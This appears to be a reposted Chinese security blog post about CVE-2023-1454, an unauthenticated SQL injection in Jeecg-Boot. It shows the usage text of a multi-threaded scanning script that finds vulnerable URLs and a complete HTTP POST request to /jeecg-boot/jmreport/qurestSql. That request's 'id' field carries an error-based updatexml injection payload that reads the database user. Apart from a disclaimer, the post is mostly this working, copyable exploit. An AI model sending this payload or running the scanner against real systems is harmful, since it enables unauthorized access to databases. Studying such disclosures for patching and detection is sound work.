===================================
0x01 工具介绍
0x02 安装与使用
usage
: CVE-2023-1454.py [-h] [-u URL] [-f FILE] [-t THREAD] [-T TIMEOUT] [-o OUTPUT] [-p PROXY]
optional
arguments
:
-h, --help show
this
help message and exit
-u URL, --url URL Target url(e.g. url.txt)
-f FILE, --file FILE Target file(e.g. url.txt)
-t THREAD, --thread THREAD
Number
of
thread (
default
5
)
-T TIMEOUT, --timeout TIMEOUT
Request timeout (
default
3
)
-o OUTPUT, --output OUTPUT
Vuln url output file (e.g. result.txt)
-p PROXY, --proxy PROXY
Request
Proxy
(e.g http:
//127.0.0.1:8080)
2、POC
POST
/jeecg-boot/jmreport/qurestSql
HTTP/1.1
Host
: 127.0.0.1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type
: application/json;charset=UTF-8
Content-Length
: 128
{
"apiSelectId"
:
"1316997232402231298"
,
"id"
:
"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"
}
原文始发于微信公众号(网络安全者):Jeecg-Boot 未授权SQL注入漏洞(CVE-2023-1454)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论